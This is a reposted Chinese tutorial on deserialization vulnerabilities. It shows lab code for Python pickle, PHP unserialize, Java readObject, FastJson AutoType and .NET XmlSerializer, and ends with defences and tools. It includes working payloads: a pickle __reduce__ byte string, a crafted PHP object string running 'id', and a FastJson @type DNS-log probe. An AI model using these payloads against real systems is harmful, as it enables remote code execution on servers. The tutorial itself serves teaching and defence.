700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 常见的Web漏洞——反序列化漏洞

常见的Web漏洞——反序列化漏洞

时间:2018-12-13 18:21:33

相关推荐

常见的Web漏洞——反序列化漏洞

目录

漏洞简介

漏洞成因

漏洞可能出现的位置

漏洞原理

Python反序列化漏洞实验

PHP反序列化漏洞实验

serialize函数输出格式

PHP中常用魔术方法

Java反序列化漏洞实验

FastJson反序列化漏洞简单实验

反序列化实验

防御方法

常用工具

参考文章

漏洞简介

序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。

反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。

反序列化漏洞首次出现在。虽然漏洞较新,但利用十分热门,主要原因还是太过信任客户端提交的数据,容易被开发者忽略,该漏洞一般都可执行任意命令或代码,造成的影响较大。

漏洞成因

在身份验证,文件读写,数据传输等功能处,在未对反序列化接口做访问控制,未对序列化数据做加密和签名,加密密钥使用硬编码(如Shiro 1.2.4),使用不安全的反序列化框架库(如Fastjson 1.2.24)或函数的情况下,由于序列化数据可被用户控制,攻击者可以精心构造恶意的序列化数据(执行特定代码或命令的数据)传递给应用程序,在应用程序反序列化对象时执行攻击者构造的恶意代码,达到攻击者的目的。

漏洞可能出现的位置

解析认证token、session的位置将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等将对象序列化后在网络中传输,如传输json数据,xml数据等参数传递给程序使用RMI协议,被广泛使用的RMI协议完全基于序列化使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等自定义协议用来接收与发送原始的java对象

漏洞原理

在Python和PHP中,一般通过构造一个包含魔术方法(在发生特定事件或场景时被自动调用的函数,通常是构造函数或析构函数)的类,然后在魔术方法中调用命令执行或代码执行函数,接着实例化这个类的一个对象并将该对象序列化后传递给程序,当程序反序列化该对象时触发魔术方法从而执行命令或代码。在Java中没有魔术方法,但是有反射(reflection)机制:在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法,这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。一般利用反射机制来构造一个执行命令的对象或直接调用一个具有命令执行或代码执行功能的方法实现任意代码执行。

Python反序列化漏洞实验

以pickle模块为例,假设浏览器传递序列化后的Cookie给服务器保存,服务器经过一些处理后反序列化还原Cookie:

#!/usr/bin/python3import pickle# 客户端设置Cookieset_cookie='abcdefasfsaafasf'# 序列化后传递cookie=pickle.dumps(set_cookie)print("序列化:",cookie)# ...# 服务器接收到序列化后的Cookie# 反序列化还原Cookienew_cookie=pickle.loads(cookie)print("反序列化:",new_cookie)

程序正常运行时,如图:

利用pickle模块和魔术方法__reduce__生成执行命令的Payload:

#!/usr/bin/python3import pickleimport os# 定义一个执行命令的类class exec:def __init__(self,cmd):self.cmd=cmd# __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,# 第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试importdef __reduce__(self):return (os.system,(self.cmd,))# 实例化对象res=exec('whoami')# 生成序列化数据payload=pickle.dumps(res)print("Payload:",payload)

生成执行whoami命令的Payload,如图:

使用执行whoami命令的Payload替换序列化后的Cookie的值模拟RCE漏洞利用,当正常程序反序列化Cookie值时生成包含__reduce__函数的exec类,从而执行命令:

#!/usr/bin/python3import pickle# 传递执行whoami命令的序列化数据cookie=b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'# 反序列化还原Cookienew_cookie=pickle.loads(cookie)

程序运行结果,如图:

PHP反序列化漏洞实验

PHP中通常使用serialize函数进行序列化,使用unserialize函数进行反序列化。

serialize函数输出格式

NULL被序列化为:NBoolean型数据序列化为:b:1,b:0,分别代表True和FalseInteger型数据序列化为:i:数值String型数据序列化为:s:长度:"值"对象序列化为:O:类名长度:类名:字段数:字段

输出的数字基本都是代表长度,在构造Payload时需要注意修改长度。

PHP中常用魔术方法

__construct:当对象被创建时调用__destruct:当对象被销毁前调用__sleep:执行serialize函数前调用__wakeup:执行unserialize函数前调用__call:在对象中调用不可访问的方法时调用__callStatic:用静态方法调用不可访问方法时调用__get:获得类成因变量时调用__set:设置类成员变量时调用

使用下面代码创建一个类A并实例化一个对象a,然后输出序列化对象a后的值:

<?php// 定义一个类class A{var $test = "Hello";function __construct(){print "<h1>ABCD</h1>";}}// 实例化一个对象a$a=new A();// 序列化对象aprint "Serialize Object A: ".serialize($a)."<br/>";?>

序列化对象a,如图:

PHP中序列化后的数据中并没有像Python一样包含函数__construct和print的信息,而仅仅是类名和成员变量的信息。因此,在unserialize函数的参数可控的情况下,还需要代码中包含魔术方法才能利用反序列化漏洞。

使用下面代码定义一个包含魔术方法__destruct的类A,然后实例化一个对象a并输出序列化后的数据,在对象销毁的时候程序会调用system函数执行"df"命令,然后通过GET方法传递参数arg的值给服务器进行反序列化:

<?php// 定义一个类class A{// 设置变量值为dfvar $test = "df";// 定义析构函数,在类A销毁时执行system("df")function __destruct(){print "Execute CMD: ".$this->test."<br/>";print "Result: ";system($this->test);print "<br/>";}}// 实例化一个对象a$a=new A();// 序列化对象aprint "Serialize Object A: ".serialize($a)."<br/>";// GET方式获取参数arg的值$arg = $_GET['arg'];// 反序列化参数arg的值$a_unser = unserialize($arg);?>

不传入arg参数时,服务器返回对象a序列化后的数据和df命令执行的结果,如图:

利用对象a序列化后的值构造执行id命令的Payload:O:1:"A":1:{s:4:"test";s:2:"id";},通过arg参数提交之后,在反序列化的过程中成功覆盖变量test的值为id,并在对象销毁时执行命令,如图:

当然,现实环境中几乎没有这样方便的攻击链,需要花不少时间去寻找POP链,可参考:

PHP反序列化入门之寻找POP链(一)PHP反序列化入门之寻找POP链(二)

Java反序列化漏洞实验

Java中通常使用Java.io.ObjectOutputStream类中的writeObject方法进行序列化,java.io.ObjectInputStream类中的readObject方法进行反序列化。使用下面代码将字符串进行序列化和反序列化:

package pany;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.io.FileOutputStream;import java.io.FileInputStream;public class Main{public static void main(String args[]) throws Exception {String obj = "hello";// 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名FileOutputStream fos = new FileOutputStream("a.ser");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(obj);os.close();// 从文件a.ser中读取数据FileInputStream fis = new FileInputStream("a.ser");ObjectInputStream ois = new ObjectInputStream(fis);// 通过反序列化恢复字符串String obj2 = (String)ois.readObject();System.out.println(obj2);ois.close();}}

程序执行后生成a.ser文件,如图:

以十六进制查看a.ser文件内容,如图:

Java序列化数据格式始终以双字节的十六进制0xAC ED作为开头,Base64编码之后为rO0。之后的两个字节是版本号,通常为0x00 05。

一个Java类的对象要想序列化成功,必须满足两个条件:

该类必须实现 java.io.Serializable 接口。该类的所有属性必须是可序列化的,如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

使用下面代码将对象序列化后存储到a.ser文件:

package pany;import java.io.ObjectOutputStream;import java.io.FileOutputStream;import java.io.Serializable;import java.io.IOException;// 定义一个实现 java.io.Serializable 接口的类Testclass Test implements Serializable {public String cmd="calc";// 重写readObject()方法private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{// 执行默认的readObject()方法in.defaultReadObject();// 执行打开计算器程序的命令Runtime.getRuntime().exec(cmd);}}public class Main{public static void main(String args[]) throws Exception{// 实例化对象testTest test = new Test();// 将对象test序列化后写入a.ser文件FileOutputStream fos = new FileOutputStream("a.ser");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(test);os.close();}}

执行程序后生成a.ser文件,以十六进制格式查看文件内容,如图:

最后5个字节分别为字符串长度和calc的ASCII值。因此,修改文件为下图所示,即notepad的ASCII值和长度:

使用下面代码进行反序列化对象:

package pany;import java.io.ObjectInputStream;import java.io.FileInputStream;import java.io.Serializable;import java.io.IOException;// 定义一个实现 java.io.Serializable 接口的类Testclass Test implements Serializable {public String cmd="calc";// 重写readObject()方法private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{// 执行默认的readObject()方法in.defaultReadObject();// 执行打开计算器程序的命令Runtime.getRuntime().exec(cmd);}}public class Main{public static void main(String args[]) throws Exception{// 从a.ser文件中反序列化test对象FileInputStream fis = new FileInputStream("a.ser");ObjectInputStream ois = new ObjectInputStream(fis);Test objectFromDisk = (Test)ois.readObject();System.out.println(objectFromDisk.cmd);ois.close();}}

程序执行后成功运行notepad,如图:

现实环境中也没有这样方便的攻击链,需要去寻找POP链,可参考:从反序列化到命令执行 – Java 中的 POP 执行链

FastJson反序列化漏洞简单实验

FastJson作为史上最快的Json解析库应用也十分广泛,在1.2.69版本以下,其AutoType特性在反序列化过程中会导致反序列化漏洞,这个特性就是:在对JSON字符串进行反序列化的时候,会读取@type参数指定的类,然后把JSON内容反序列化为此类的对象,并且会调用这个类的设置(setter)方法。

实验环境

前端采用json提交用户名密码后台使用fastjson 1.2.24版本源码和WAR包GitHub地址

创建一个User类,用于查看序列化数据格式,如图:

创建一个home类用于输出user对象的序列化数据,如图:

创建一个login类用于获取前端页面提交的json格式用户名和密码数据,并使用JSON.parseObject方法进行反序列化解析json数据,在后台可看到提交的数据,如图:

访问home页面可直接获取user对象序列化后的结果,如图:

@type的值为对象所属的类,user和passwd分别为对象的用户名属性和密码属性。因此可以利用AutoType特性,构造一个使用@type参数指定一个攻击类库,包含类属性或方法的JSON字符串提交到服务器,在反序列化时调用这个类的方法达到执行代码的目的。通常使用.Inet4Address类或.Inet6Address类,通过val参数传递域名,利用DnsLog进行漏洞检测,即:{"@type":".Inet4Address","val":"DnsLog"}。在登录页面输入用户名和密码提交,拦截数据包,修改提交的Json数据,如图:

虽然服务器返回错误信息,但Payload仍然被成功执行,在DnsLog网站可以看到解析记录,如图:

要执行命令需要构造新的POP链,常用的POP链:

基于JNDI注入基于ClassLoader基于TemplatesImpl

由于本实验仅使用最小依赖编写,此处不再详细分析POP链,更多资料请查阅:

Java安全之FastJson JdbcRowSetImpl 链分析Fastjson反序列化之TemplatesImpl调用链

反序列化实验

.NET框架包含多个序列化类,BinaryFormatter,JavaScriptSerializer,XmlSerializer,DataContractSerializer,本实验以XML序列化和反序列化为例。

实验环境

采用Xml提交数据使用.NET Framework 4.6.1完整源码GitHub地址

使用下面代码定义一个Test类,包含执行ipconfig命令并返回执行结果的函数Run,使用XmlSerializer类将对象序列化后输出到页面:

using System;using System.Diagnostics;using System.IO;using System.Text;using System.Xml.Serialization;namespace Study{[Serializable]public class Test{public string _cmd = "ipconfig";public Test(string cmd){_cmd = cmd;}public Test(){}public String Run(){Process p = new Process();// 设置要启动的应用程序p.StartInfo.FileName = "cmd.exe";// 不使用操作系统shell启动p.StartInfo.UseShellExecute = false;// 接受来自调用程序的输入信息p.StartInfo.RedirectStandardInput = true;// 输出信息p.StartInfo.RedirectStandardOutput = true;// 输出错误p.StartInfo.RedirectStandardError = true;// 不显示程序窗口p.StartInfo.CreateNoWindow = true;// 启动程序p.Start();// 向cmd窗口发送命令p.StandardInput.WriteLine(_cmd + "&exit");// 自动刷新p.StandardInput.AutoFlush = true;// 获取输出信息string strOuput = p.StandardOutput.ReadToEnd();//等待程序执行完退出进程p.WaitForExit();p.Close();// 返回执行结果return strOuput;}}public partial class _default : System.Web.UI.Page{protected void Page_Load(object sender, EventArgs e){// 实例化对象 sc_TestTest sc_Test = new Test();// 创建字符串缓冲区bufferStringBuilder buffer = new StringBuilder();// 实例化序列号对象XmlSerializer serializer = new XmlSerializer(typeof(Test));// 序列化对象sc_Test并存储到bufferusing (TextWriter writer = new StringWriter(buffer)){serializer.Serialize(writer, sc_Test);}String str = buffer.ToString();// 将xml数据HTML实体化,防止Windows安全检查拦截string r = string.Empty;for (int i = 0; i < str.Length; i++){r += "&#" + Char.ConvertToUtf32(str, i) + ";";}// 输出到页面Response.Write("<center><h2>序列化数据</h2><textarea rows=\"10\" cols=\"100\" readonly align=\"center\">" + r+ "</textarea></center>");}}}

使用下面代码将提交的XML数据反序列化,并执行对象的Run函数:

using System;using System.IO;using System.Xml.Serialization;namespace Study{public partial class info : System.Web.UI.Page{protected void Page_Load(object sender, EventArgs e){if (Request.RequestType == "POST"){// 获取客户端提交的数据StreamReader s = new StreamReader(Request.InputStream);// 转换为String格式String ss = s.ReadToEnd();//Response.Write(ss);// 定义反序列化对象Test dsc_Test;XmlSerializer serializer = new XmlSerializer(typeof(Test));// 反序列化数据为dsc_Test对象using (TextReader reader = new StringReader(ss)){Object obj = serializer.Deserialize(reader);dsc_Test = (Test)obj;}// 调用对象的函数Run并返回执行结果到浏览器Response.Write(dsc_Test.Run());}}}}

正常情况下访问页面,返回序列化后的数据,如图:

点击查看IP按钮后,客户端提交数据,如图:

服务器执行命令后返回到客户端,如图:

如果攻击者将传输的XML数据进行篡改,如图:

服务器在反序列化后执行whoami命令,如图:

防御方法

对反序列数据加密或签名,且加密密钥和签名密钥不要使用硬编码对反序列化接口添加认证授权设置反序列化服务仅在本地监听或者设置相应防火墙策略禁止使用存在漏洞的第三方框架库过滤、禁用危险函数过滤T3协议或限定可连接的IP设置Nginx反向代理,实现t3协议和http协议隔离

常用工具

Java反序列化工具YSoSerial.jarPHP反序列化工具反序列化工具

参考文章

深入理解 JAVA 反序列化漏洞Java反序列化漏洞从入门到深入Java反序列化漏洞分析从反序列化到命令执行 – Java 中的 POP 执行链

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。